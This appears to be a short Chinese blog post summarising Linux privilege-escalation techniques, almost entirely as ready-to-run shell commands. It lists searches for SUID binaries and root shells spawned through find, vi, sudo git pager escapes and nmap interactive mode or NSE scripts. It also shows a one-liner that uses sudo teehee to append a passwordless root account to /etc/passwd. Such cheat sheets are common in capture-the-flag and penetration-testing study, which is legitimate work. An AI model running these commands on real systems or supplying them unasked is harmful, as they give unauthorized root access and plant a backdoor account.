Loading

Linux提权方法小结

1 find 命令提权

1.1 方法一

find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \;-quit

1.2 方法二

touch getshell
find / -type f -name getshell -exec "whoami" \;
find / -type f -name getshell -exec "/bin/sh" \;

1.3 方法三

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
touch test
find . -exec /bin/sh -p \;-quit

2 vi 命令逃逸

vi
# 输入以下内容
:set shell=/bin/sh
:shell

3 git 命令提权

3.1 方法一

sudo git help config
# 直接输入以下内容
!/bin/bash 或 !'sh'

3.2 方法二

sudo git -p help
# 直接输入以下内容
!/bin/bash

4 teehee 命令提权

# teehee 可以将标准输入复制到文件中
# 如下命令可以在 /etc/passwd 文件中添加一行,实现添加一个拥有 root 权限的用户
echo "test::0:0:::/bin/sh" | sudo teehee -a /etc/passwd
# 切换用户
su test

5 nmap 提权

  • 旧版本
sudo nmap --interactive
!/bin/sh
  • 新版本
# 进入一个可写目录,新建 nse_root.nse,内容为
os.execute("/bin/sh")
sudo nmap --script=nse_root.nse
posted @ 2022-02-17 10:48  土豆分米猪  阅读(823)  评论(0编辑  收藏  举报